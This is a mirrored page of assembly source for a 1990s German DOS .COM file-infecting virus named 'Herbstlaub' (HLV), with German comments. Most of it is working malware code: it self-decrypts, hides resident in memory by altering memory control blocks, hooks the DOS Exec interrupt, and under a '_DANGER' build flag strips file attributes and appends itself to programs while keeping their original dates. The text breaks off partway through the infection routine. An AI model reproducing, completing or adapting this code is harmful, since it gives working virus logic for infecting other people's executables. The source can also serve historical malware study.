mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
1184 lines
36 KiB
NASM
1184 lines
36 KiB
NASM
PAGE 62,132
|
||
TITLE _HLV_ (- Microsoft MASM 5.1 source -)
|
||
SUBTTL (C) 1990 164A12565AA18213165556D3125C4B962712
|
||
.RADIX 16
|
||
.LALL
|
||
|
||
TRUE EQU 1
|
||
FALSE EQU 0
|
||
|
||
MONTH EQU 9D
|
||
YEAR EQU 1991D
|
||
|
||
DEMO EQU TRUE
|
||
|
||
SWITCHABLE = TRUE
|
||
IFDEF _NOSWITCH
|
||
SWITCHABLE = FALSE
|
||
ENDIF
|
||
|
||
comment #
|
||
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
º º
|
||
º ===================== º
|
||
º H E R B S T L A U B º
|
||
º ===================== º
|
||
º º
|
||
º º
|
||
º SPRACHE: MASM 4.00 (+) [ fr<EFBFBD>here Versionen brechen z.B. mit º
|
||
º *OUT OF MEMORY* (3.00) ab oder lassen º
|
||
º sogar den PC abst<EFBFBD>rzen (1.10) ] º
|
||
º º
|
||
º ( Eine als Beispiel gedachte Batchdatei zur Steuerung der šbersetzung º
|
||
º ist am Ende dieses Quelltextes als Kommentar hinzugef<EFBFBD>gt. ) º
|
||
º º
|
||
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ W„hrend der šbersetzung zu auszugebende Meldungen, 1. Teil. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
#
|
||
IF1
|
||
REPT 50
|
||
%Out
|
||
ENDM;
|
||
%Out ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
%Out º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
|
||
%Out º°°°°°°°°°°°°°°°°°°°ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿°°°°°°°°°°°°°°°°°°°°º
|
||
%Out º°°ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ H E R B S T L A U B ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ°°º
|
||
%Out º°°°°°°°°°°°°°°°°°°°ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°°°°°°°°°°°°°°°°°°°º
|
||
%Out º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
|
||
ENDIF
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Einige Assembler - Makros. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
MSDOS MACRO ;
|
||
INT 21 ;
|
||
ENDM ;
|
||
Wait_HRI_or_VRI MACRO ;
|
||
LOCAL _X_1, _X_2, _X_3 ;
|
||
MOV DX,03DA ;
|
||
CLI ;
|
||
_X_1: IN AL,DX ;
|
||
TEST AL,08 ;
|
||
JNZ _X_3 ;
|
||
TEST AL,01 ;
|
||
JNZ _X_1 ;
|
||
_X_2: IN AL,DX ;
|
||
TEST AL,01 ;
|
||
JZ _X_2 ;
|
||
_X_3 LABEL NEAR ;
|
||
ENDM ;------;
|
||
SAVE MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c ;
|
||
IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ;
|
||
IFNB <_X> ;------;
|
||
IFIDN <_X>,<F> ;
|
||
PUSHF ;
|
||
ELSE ;
|
||
PUSH _X ;
|
||
ENDIF ;
|
||
ENDIF ;
|
||
ENDM ;
|
||
ENDM ;------;
|
||
REST MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c ;
|
||
IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ;
|
||
IFNB <_X> ;------;
|
||
IFIDN <_X>,<F> ;
|
||
POPF ;
|
||
ELSE ;
|
||
POP _X ;
|
||
ENDIF ;
|
||
ENDIF ;
|
||
ENDM ;
|
||
ENDM ;
|
||
MOV_S MACRO S1,S2 ;
|
||
PUSH S2 ;
|
||
POP S1 ;
|
||
ENDM ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Start des Code-Segments, Segment Prefix Bytes werden n i c h t au- ³
|
||
³ tomatisch durch den Assembler erzeugt. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
TEXT SEGMENT ;
|
||
ASSUME CS:TEXT,DS:TEXT,ES:TEXT,SS:TEXT ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Einige das Verst„ndnis erleichternde Definitionen. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
NearJmp EQU 0E9 ;
|
||
PORT_B_8259A EQU 20 ;
|
||
EOI_8259A EQU 20 ;
|
||
PORT_B_8255 EQU 61 ;
|
||
FIRSTCONST EQU 0131 ;
|
||
FIRSTBASE EQU FIRSTCONST - OFFSET XI_001 ;-----;
|
||
FIRSTBASE2 EQU (FIRSTCONST + OFFSET XI_005 - XI_001) ;
|
||
DeCrptd EQU 0 ;-----;
|
||
EnCrptd EQU 1 ;
|
||
BIOSDATASEG EQU 040 ;
|
||
MonoBase EQU 0B000 ;
|
||
ColorBase EQU 0B800 ;
|
||
B_VIDPAGE EQU THIS WORD + 04E ;
|
||
B_TIMERVAR EQU THIS WORD + 06C ;
|
||
TimerInt EQU 1C ;
|
||
DOS EQU 21 ;
|
||
DOS_multi EQU 2F ;
|
||
MS_SetDTA EQU 1A ;
|
||
DTA_in_PSP EQU 80 ;
|
||
MS_SetInt EQU 25 ;
|
||
MS_GetDateTime EQU 2A ;
|
||
MS_GetVer EQU 30 ;
|
||
DOS_v_02 EQU 2 ;
|
||
MS_GetInt EQU 35 ;
|
||
MS_Open EQU 3Dh ;
|
||
Read_Only EQU 0 ;
|
||
Read_Write EQU 2 ;
|
||
MS_Close EQU 3E ;
|
||
MS_Read EQU 3F ;
|
||
MS_Write EQU 40 ;
|
||
MS_MoveFP EQU 42 ;
|
||
OfsFrmTop EQU 0 ;
|
||
OfsFrmEnd EQU 02 ;
|
||
MS_GetFileAttr EQU 4300 ;
|
||
MS_SetFileAttr EQU 4301 ;
|
||
Attr_A EQU 20 ;
|
||
Attr_SHR EQU 7 ;
|
||
Attr_ASHR EQU Attr_A OR Attr_SHR ;
|
||
MS_AllocMem EQU 48 ;
|
||
MS_ReleaseMem EQU 49 ;
|
||
MemCBsig EQU THIS BYTE + 0 ;
|
||
MemCBowned EQU THIS WORD + 1 ;
|
||
MemCBsize EQU THIS WORD + 3 ;
|
||
MS_Exec EQU 4Bh ;
|
||
MS_Exec_SF0 EQU 0 ;
|
||
Virus_fun EQU 0ffh ;
|
||
Virus_Sig EQU 55AA ;
|
||
MS_SetPSP EQU 50 ;
|
||
PSPsize EQU 00100 ;
|
||
PSPCurCom EQU THIS WORD + 016 ;
|
||
PSPEnv EQU THIS WORD + 02C ;
|
||
PSP_SegJFB EQU THIS WORD + 036 ;
|
||
NoEnv EQU 0 ;
|
||
MS_GetFileDate EQU 5700 ;
|
||
MS_SetFileDate EQU 5701 ;
|
||
PSP_100 EQU THIS WORD + PSPsize ;
|
||
PSP_102 EQU THIS BYTE + PSPsize + 2 ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Ab hier wird Objektcode erzeugt, Datenbereich Nr. 1. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
Crypt1 DB 0 ;
|
||
Crypt2 EQU OFFSET Crypt1 + FIRSTBASE ;
|
||
Crypt3 EQU Crypt1 + PSPsize ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Einsprungstelle, entschl<EFBFBD>sseln des Virus falls notwendig. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
XI_000: CLI ;
|
||
MOV BP,SP ;
|
||
CALL XI_001 ;
|
||
XI_001: POP BX ;
|
||
SUB BX,FIRSTCONST ;
|
||
TEST BYTE PTR CS:[BX+Crypt2],EnCrptd ;
|
||
JZ XI_003 ;
|
||
LEA SI,[BX + XR_000] ;
|
||
MOV SP,OFFSET EOFC-OFFSET XI_003 ;
|
||
XI_002: XOR [SI],SI ;
|
||
XOR [SI],SP ;
|
||
INC SI ;
|
||
DEC SP ;
|
||
JNZ XI_002 ;
|
||
XI_003 LABEL NEAR ;
|
||
XR_000 EQU OFFSET XI_003 + FIRSTBASE ;
|
||
XR_001 EQU XI_003 + PSPsize ;
|
||
MOV SP,BP ;
|
||
JMP SHORT XI_004 ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Datenbereich 2. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
XD_000 DW PSPsize ;
|
||
Disp_to_com_1 EQU OFFSET XD_000 + FIRSTBASE ;
|
||
XD_001 DW 9090 ;
|
||
Disp_to_com_2 EQU OFFSET XD_001 + FIRSTBASE ;
|
||
XD_002 DW 9090 ;
|
||
Initial_AX EQU OFFSET XD_002 + FIRSTBASE ;
|
||
XD_003 EQU THIS WORD ;
|
||
XD_004 EQU THIS BYTE + 2 ;
|
||
NOP ;
|
||
NOP ;
|
||
NOP ;
|
||
Org1stInstr_s1 EQU OFFSET XD_003 + FIRSTBASE ;
|
||
Org1stInstr_t1 EQU XD_003 + PSPsize ;
|
||
Org1stInstr_t2 EQU XD_003 + PSPsize + 1 ;
|
||
Org1stInstr_s2 EQU OFFSET XD_004 + FIRSTBASE ;
|
||
XD_005 DW 2 dup ( 9090 ) ;
|
||
Org_Int_1C EQU XD_005 + PSPsize ;
|
||
XD_006 DW 2 dup ( 9090 ) ;
|
||
Org_int_21s EQU OFFSET XD_006 + FIRSTBASE ;
|
||
Org_Int_21t EQU XD_006 + PSPsize ;
|
||
;
|
||
IF SWITCHABLE ;
|
||
;
|
||
XD_007 DW 2 dup ( 9090 ) ;
|
||
Org_Int_2F EQU XD_007 + PSPsize ;
|
||
XD_008 DB 5, "_HLV_ " ;
|
||
Cmd_2F EQU XD_008 + PSPsize ;
|
||
XD_009 DB 'HLV is on',0Dh,0Ah,'$' ;
|
||
Msg_On EQU XD_009 + PSPsize ;
|
||
XD_010 DB 'HLV is off',0Dh,0Ah,'$' ;
|
||
Msg_Off EQU XD_010 + PSPsize ;
|
||
;
|
||
ENDIF ;
|
||
;
|
||
XD_011 DW 9090 ;
|
||
File_Attributes EQU XD_011 + PSPsize ;
|
||
XD_012 DW 9090 ;
|
||
File_Date EQU XD_012 + PSPsize ;
|
||
XD_013 DW 9090 ;
|
||
File_Time EQU XD_013 + PSPsize ;
|
||
XD_014 DW 2 dup ( 9090 ) ;
|
||
Pathname EQU XD_014 + PSPsize ;
|
||
XD_015 DW 2 dup ( 9090 ) ;
|
||
File_Size_lsb EQU XD_015 + PSPsize ;
|
||
File_Size_msb EQU XD_015 + PSPsize + 2 ;
|
||
XD_016 DB NearJmp ;
|
||
FirstOpCode_1 EQU XD_016 + PSPsize ;
|
||
XD_017 DW 9090 ;
|
||
FirstOpCode_2 EQU XD_017 + PSPsize ;
|
||
XD_018 DB 90 ;
|
||
Num_of_Col EQU XD_018 + PSPsize ;
|
||
XD_019 DB 90 ;
|
||
Last_Line EQU XD_019 + PSPsize ;
|
||
XD_020 DB 90 ;
|
||
Prevent_Snow? EQU XD_020 + PSPsize ;
|
||
Last_Pair EQU THIS WORD + PSPsize ;
|
||
XD_021 DB 90 ;
|
||
XD_022 DB 90 ;
|
||
Last_Char EQU XD_021 + PSPsize ;
|
||
Last_Attr EQU XD_022 + PSPsize ;
|
||
RecTyp1 RECORD ExtCom:1, Recf_1:1, R_in_1c:1 ;
|
||
XD_023 RecTyp1 <0,0,0> ;
|
||
ISR_Flags EQU XD_023 + PSPsize ;
|
||
XD_024 DW 9090 ;
|
||
Seg_of_VRAM EQU XD_024 + PSPsize ;
|
||
XD_025 DW 9090 ;
|
||
Page_offset EQU XD_025 + PSPsize ;
|
||
XD_026 DW 9090 ;
|
||
Speed EQU XD_026 + PSPsize ;
|
||
XD_027 DW 9090 ;
|
||
XR_002 EQU XD_027 + PSPsize ;
|
||
XD_028 DW 9090 ;
|
||
XR_003 EQU XD_028 + PSPsize ;
|
||
XD_029 DW 9090 ;
|
||
Num_of_char EQU XD_029 + PSPsize ;
|
||
XD_030 DW 9090 ;
|
||
XR_004 EQU XD_030 + PSPsize ;
|
||
XD_031 DW 7 dup ( 9090 ) ;
|
||
FirstRandom EQU XD_031 + PSPsize ;
|
||
LastRandom EQU This Word + PSPsize ;
|
||
DW 9090 ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Installieren u. relozieren falls notwendig. ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
XI_004: CALL XI_005 ;
|
||
XI_005 LABEL NEAR ;
|
||
XR_005 EQU XI_005 + PSPsize ;
|
||
POP BX ;
|
||
SUB BX,FIRSTBASE2 ;
|
||
MOV CS:[BX+Disp_to_com_2],CS ;
|
||
MOV CS:[BX+Initial_AX],AX ;
|
||
MOV AX,CS:[BX+Org1stInstr_s1] ;
|
||
MOV [PSP_100],AX ;
|
||
MOV AL,CS:[BX+Org1stInstr_s2] ;
|
||
MOV [PSP_102],AL ;
|
||
PUSH BX ;
|
||
MOV AH,MS_GetVer ;
|
||
MSDOS ;
|
||
POP BX ;
|
||
CMP AL,DOS_v_02 ;
|
||
JB XI_006 ;
|
||
MOV AX,MS_Exec * 100 + Virus_fun ;
|
||
XOR DI,DI ;
|
||
XOR SI,SI ;
|
||
MSDOS ;
|
||
CMP DI,Virus_sig ;
|
||
JNZ XI_007 ;
|
||
XI_006: STI ;
|
||
MOV_S ES,DS ;
|
||
MOV AX,CS:[BX+Initial_AX] ;
|
||
JMP DWORD PTR CS:[BX+Disp_to_com_1] ;
|
||
XI_007: PUSH BX ;
|
||
MOV AX,MS_GetInt * 100 + DOS ;
|
||
MSDOS ;
|
||
MOV AX,BX ;
|
||
POP BX ;
|
||
MOV CS:[BX+Org_int_21s],AX ;
|
||
MOV CS:[BX+Org_int_21s + 2],ES ;------------;
|
||
MOV AX, (OFFSET EOFC - OFFSET Crypt1) SHR 4 + 11 ;
|
||
MOV BP,CS ;------------;
|
||
DEC BP ;
|
||
MOV ES,BP ;
|
||
MOV SI,CS:[PSPCurCom] ;
|
||
MOV ES:[MemCBowned],SI ;
|
||
MOV DX,ES:[MemCBsize] ;
|
||
MOV ES:[MemCBsize],AX ;
|
||
MOV ES:[MemCBsig],'M' ;
|
||
SUB DX,AX ;
|
||
DEC DX ;
|
||
INC BP ;
|
||
ADD BP,AX ;
|
||
INC BP ;
|
||
MOV ES,BP ;
|
||
PUSH BX ;
|
||
MOV AH,MS_SetPSP ;
|
||
MOV BX,BP ;
|
||
MSDOS ;
|
||
POP BX ;
|
||
XOR DI,DI ;
|
||
MOV_S SS,ES ;
|
||
PUSH DI ;
|
||
LEA DI,[BX+XR_010] ;
|
||
MOV SI,DI ;
|
||
MOV CX,OFFSET EOFC ;
|
||
STD ;
|
||
REPZ MOVSB ;
|
||
PUSH ES ;
|
||
LEA CX,[BX+XR_006] ;
|
||
PUSH CX ;
|
||
RETF ;
|
||
XI_008 LABEL NEAR ;
|
||
XR_006 EQU OFFSET XI_008 + FIRSTBASE ;
|
||
MOV CS:[BX+Disp_to_com_2],CS ;
|
||
LEA CX,[BX+Crypt2] ;
|
||
REPZ MOVSB ;
|
||
MOV CS:[PSP_SegJFB],CS ;
|
||
DEC BP ;
|
||
MOV ES,BP ;
|
||
MOV ES:[MemCBsize],DX ;
|
||
MOV ES:[MemCBsig],'Z' ;
|
||
MOV ES:[MemCBowned],CS ;
|
||
INC BP ;
|
||
MOV ES,BP ;
|
||
MOV_S ES,DS ;
|
||
MOV_S DS,CS ;
|
||
LEA SI,[BX+Crypt2] ;
|
||
MOV DI,PSPsize ;
|
||
MOV CX,OFFSET EOFC ;
|
||
CLD ;
|
||
REPZ MOVSB ;
|
||
PUSH ES ;
|
||
LEA AX,[XR_007] ;
|
||
PUSH AX ;
|
||
RETF ;
|
||
XI_009 LABEL NEAR ;
|
||
XR_007 EQU XI_009 + PSPsize ;
|
||
MOV CS:[PSPEnv],NoEnv ;
|
||
MOV CS:[PSPCurCom],CS ;
|
||
PUSH DS ;
|
||
LEA DX,[XR_008] ;
|
||
MOV_S DS,CS ;
|
||
MOV AX,MS_SetInt * 100 + DOS ;
|
||
MSDOS ;
|
||
POP DS ;
|
||
MOV AH,MS_SetDTA ;
|
||
MOV DX,DTA_in_PSP ;
|
||
MSDOS ;
|
||
SAVE DS,ES,SI,DI,CX ;
|
||
MOV_S ES,CS ;
|
||
MOV CX,BIOSDATASEG ;
|
||
MOV DS,CX ;
|
||
MOV DI,OFFSET FirstRandom ;
|
||
MOV SI,OFFSET B_TIMERVAR ;
|
||
MOV CL,8 ;
|
||
CLD ;
|
||
REPZ MOVSW ;
|
||
REST CX,DI,SI,ES,DS ;
|
||
;
|
||
IF SWITCHABLE ;
|
||
;
|
||
PUSH DS ;
|
||
MOV AX,MS_GetInt * 100 + DOS_multi ;
|
||
MSDOS ;
|
||
MOV CS:[Org_Int_2F],BX ;
|
||
MOV CS:[Org_Int_2F + 2],ES ;
|
||
MOV AX,MS_SetInt * 100 + DOS_multi ;
|
||
MOV DX,offset Int_2F_ISR ;
|
||
MOV_S DS,CS ;
|
||
MSDOS ;
|
||
POP DS ;
|
||
;
|
||
ENDIF ;
|
||
;
|
||
OR CS:[ISR_Flags],MASK ExtCom ;
|
||
MOV AH,MS_GetDateTime ;
|
||
MSDOS ;
|
||
CMP CX,YEAR ;
|
||
JZ XI_010 ;
|
||
JMP SHORT XI_011 ;
|
||
XI_010: CMP DH,MONTH ;
|
||
JB XI_011 ;
|
||
AND CS:[ISR_Flags],NOT MASK ExtCom ;
|
||
XI_011: MOV AX,1518 ;
|
||
CALL Random ;
|
||
INC AX ;
|
||
MOV CS:[XR_002],AX ;
|
||
MOV CS:[XR_003],AX ;
|
||
MOV CS:[XR_004],1 ;
|
||
MOV AX,MS_GetInt * 100 + TimerInt ;
|
||
MSDOS ;
|
||
MOV CS:[Org_Int_1C],BX ;
|
||
MOV CS:[Org_Int_1C + 2],ES ;
|
||
PUSH DS ;
|
||
MOV AX,MS_SetInt * 100 + TimerInt ;
|
||
MOV DX,OFFSET XR_009 ;
|
||
MOV_S DS,CS ;
|
||
MSDOS ;
|
||
POP DS ;
|
||
XI_012: MOV BX,OFFSET XR_005 - (FIRSTBASE2) ;
|
||
JMP XI_006 ;
|
||
comment #
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
³ Neue Interrupt 21(h) Behandlungsroutine ( ver„ndert Exec - Funktion ). ³
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
# ;
|
||
XI_013 LABEL NEAR ;
|
||
XR_008 EQU XI_013 + PSPsize ;
|
||
CMP AH,MS_Exec ;
|
||
JZ XI_016 ;
|
||
XI_014: JMP DWORD PTR CS:[Org_Int_21t] ;
|
||
XI_015: MOV DI,Virus_Sig ;
|
||
LES AX,CS:DWORD PTR [Org_Int_21t] ;
|
||
MOV DX,CS ;
|
||
IRET ;
|
||
XI_016: CMP AL,Virus_fun ;
|
||
JZ XI_015 ;
|
||
CMP AL,MS_Exec_SF0 ;
|
||
JNZ XI_014 ;
|
||
SAVE F,AX,BX,CX,DX,SI,DI,BP,ES,DS ;
|
||
MOV CS:[Pathname],DX ;
|
||
MOV CS:[Pathname + 2],DS ;
|
||
MOV_S ES,CS ;
|
||
MOV AX,MS_Open * 100 + Read_Only ;
|
||
MSDOS ;
|
||
JB XI_018 ;
|
||
MOV BX,AX ;
|
||
MOV AX,MS_GetFileDate ;
|
||
MSDOS ;
|
||
MOV CS:[File_Date],DX ;
|
||
MOV CS:[File_Time],CX ;
|
||
MOV AH,MS_Read ;
|
||
MOV_S DS,CS ;
|
||
MOV DX,OFFSET Org1stInstr_t1 ;
|
||
MOV CX,3 ;
|
||
MSDOS ;
|
||
JB XI_018 ;
|
||
CMP AX,CX ;
|
||
JNZ XI_018 ;
|
||
MOV AX,MS_MoveFP * 100 + OfsFrmEnd ;
|
||
XOR CX,CX ;
|
||
XOR DX,DX ;
|
||
MSDOS ;
|
||
MOV CS:[File_Size_lsb],AX ;
|
||
MOV CS:[File_Size_msb],DX ;
|
||
MOV AH,MS_Close ;
|
||
MSDOS ;---------------;
|
||
CMP CS:[Org1stInstr_t1], 'Z' * 100 + 'M' ;
|
||
JNZ XI_017 ;
|
||
JMP XI_025 ;
|
||
XI_017: CMP CS:[File_Size_msb],+0 ;
|
||
JA XI_018 ;
|
||
CMP CS:[File_Size_lsb],offset Crypt1-offset EOFC-20 ;
|
||
JBE XI_019 ;
|
||
XI_018: JMP XI_025 ;
|
||
XI_019: CMP BYTE PTR CS:[Org1stInstr_t1],NearJmp ;
|
||
JNZ XI_020 ;
|
||
MOV AX,CS:[File_Size_lsb] ;
|
||
ADD AX,OFFSET Crypt1 - offset EOFC - 2 ;
|
||
CMP AX,CS:[Org1stInstr_t2] ;---------------;
|
||
JZ XI_018 ;
|
||
;
|
||
IF DEMO ;
|
||
XI_020: CALL DEMO_Infect ;
|
||
JMP XI_025 ;
|
||
;
|
||
IF2 ;----------------;
|
||
%Out º°°°°°°°°°°°°°°°°°°°°°°ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»°°°°°°°°°°°°°°°°°°°°°°°º
|
||
%Out º°°°°°°°°°°°°°°°°°°°°°°º Demo - Version, º°°°°°°°°°°°°°°°°°°°°°°°º
|
||
%Out º°°°°°°°°°°°°°°°°°°°°°°º k e i n Virus. º°°°°°°°°°°°°°°°°°°°°°°°º
|
||
ENDIF ;----------------;
|
||
ELSE ;
|
||
IFDEF _DANGER ;
|
||
XI_020 MOV AX,MS_GetFileAttr ;
|
||
LDS DX,CS:DWORD PTR [Pathname] ;
|
||
MSDOS ;
|
||
JB XI_018 ;
|
||
MOV CS:[File_Attributes],CX ;
|
||
XOR CL,Attr_A ;
|
||
TEST CL,Attr_ASHR ;
|
||
JZ XI_021 ;
|
||
MOV AX,MS_SetFileAttr ;
|
||
XOR CX,CX ;
|
||
MSDOS ;
|
||
JB XI_018 ;
|
||
XI_021: MOV AX,MS_Open * 100 + Read_Write ;
|
||
MSDOS ;
|
||
JB XI_018 ;
|
||
MOV BX,AX ;
|
||
MOV AX,MS_MoveFP * 100 + OfsFrmEnd ;
|
||
XOR CX,CX ;
|
||
XOR DX,DX ;
|
||
MSDOS ;
|
||
CALL Append_Virus ;
|
||
JNB XI_022 ;
|
||
MOV AX,MS_MoveFP * 100 + OfsFrmTop ;
|
||
MOV CX,CS:[File_Size_msb] ;
|
||
MOV DX,CS:[File_Size_lsb] ;
|
||
MSDOS ;
|
||
MOV AH,MS_Write ;
|
||
XOR CX,CX ;
|
||
MSDOS ;
|
||
JMP SHORT XI_023 ;
|
||
XI_022: MOV AX,MS_MoveFP * 100 + OfsFrmTop ;
|
||
XOR CX,CX ;
|
||
XOR DX,DX ;
|
||
MSDOS ;
|
||
JB XI_023 ;
|
||
MOV AX,CS:[File_Size_lsb] ;
|
||
ADD AX,-2 ;
|
||
MOV CS:[FirstOpCode_2],AX ;
|
||
MOV AH,MS_Write ;
|
||
MOV DX,OFFSET FirstOpCode_1 ;
|
||
MOV CX,3 ;
|
||
MSDOS ;
|
||
XI_023: MOV AX,MS_SetFileDate ;
|
||
MOV DX,CS:[File_Date] ;
|
||
MOV CX,CS:[File_Time] ;
|
||
MSDOS ;
|
||
MOV AH,MS_Close ;
|
||
MSDOS ;
|
||
